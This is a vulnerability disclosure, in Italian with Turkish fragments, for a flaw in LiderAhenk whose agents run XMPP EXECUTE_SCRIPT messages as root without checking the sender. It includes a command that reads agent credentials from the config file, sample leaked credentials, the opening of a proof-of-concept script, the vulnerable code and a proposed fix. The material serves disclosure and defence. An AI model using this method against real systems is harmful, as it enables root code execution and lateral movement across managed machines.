
CVE-2026-6508 Vulnerabilità di sicurezza critica nell'architettura del Sistema di Gestione Centralizzato LiderAhenk che consente a tutti i clienti tra le unità periferiche (agenti) di eseguire codice con privilegi 'root' gli uni sugli altri (unauthorized rce & lateral movement).
EvilAhenk è una vulnerabilità di sicurezza critica nell'architettura del sistema di gestione centralizzata LiderAhenk che consente a tutti i client (agenti) di eseguire codice con privilegi 'root' gli uni sugli altri (Unauthorized RCE & Lateral Movement).
In LiderAhenk, il pannello di amministrazione/server centrale invia messaggi di attività e policy ai client tramite XMPP.
ahenk sui client si connettono alla stessa infrastruttura XMPP,EXECUTE_POLICY, EXECUTE_TASK o EXECUTE_SCRIPTQuindi XMPP qui è il canale di trasporto del traffico di gestione. Normalmente i comandi del pannello centrale raggiungono i client attraverso questo canale.
Flusso previsto:
Lider/Ahenk yonetim paneli -> XMPP sunucusu -> hedef agent
Flusso vulnerabile:
ct-2 è un client valido connesso allo stesso server XMPPct-2 invia un messaggio EXECUTE_SCRIPT tramite il server XMPP prendendo di mira il JID di ct-1ct-1ct-1 esegue il comando senza verificare che il messaggio provenga realmente da lider_sunucuahenk.service viene eseguito come rootct-2 veya baska bir XMPP hesabi -> XMPP sunucusu -> ct-1 agent -> root komut
Quindi non stiamo hackerando il livello XMPP. Il server XMPP esegue il normale instradamento dei messaggi. Il problema è che l'agente Ahenk lato ct-1 non verifica se il messaggio in arrivo provenga realmente dall'account di gestione autorizzato.
pip install slixmpp
Da un client compromesso e connesso al sistema di gestione centralizzata vengono raccolte informazioni come le seguenti:
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
Esempio di output;
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
Aggiorniamo il file Main.py in base alle informazioni ottenute; dominio im.liderahenk.org, uid target pardus-ct-1.
- XMPP user: `[email protected]`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Varsayilan hedef: `[email protected]`
Il comando da eseguire sulla macchina vittima può essere modificato cambiando la variabile COMMAND.
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP
XMPP_USER = "[email protected]"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "[email protected]"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id > /tmp/who; false"
In repos/ahenk/src/base/messaging/messenger.py, il messaggio in arrivo viene elaborato solo in base al campo type. Non c'è alcun controllo del mittente autorizzato per msg['from']:
def recv_direct_message(self, msg):
if msg['type'] in ['normal']:
j = json.loads(str(msg['body']))
message_type = j['type']
self.event_manger.fireEvent(message_type, str(msg['body']))
In repos/ahenk/src/base/execution/execution_manager.py, invece, EXECUTE_SCRIPT porta direttamente all'esecuzione del comando:
def execute_script(self, arg):
json_data = json.loads(arg)
result_code, p_out, p_err = Util.execute(str(json_data['command']))
Quando queste due parti si combinano, l'effetto è il seguente:
EXECUTE_SCRIPT senza verificare il mittentePossibile fix progettuale;
def recv_direct_message(self, msg):
if msg['type'] != 'normal':
return
allowed_sender = self.receiver.split('/')[0]
actual_sender = msg['from'].bare
if actual_sender != allowed_sender:
self.logger.warning("Rejected message from %s", actual_sender)
return
j = json.loads(str(msg['body']))
self.event_manger.fireEvent(j['type'], str(msg['body']))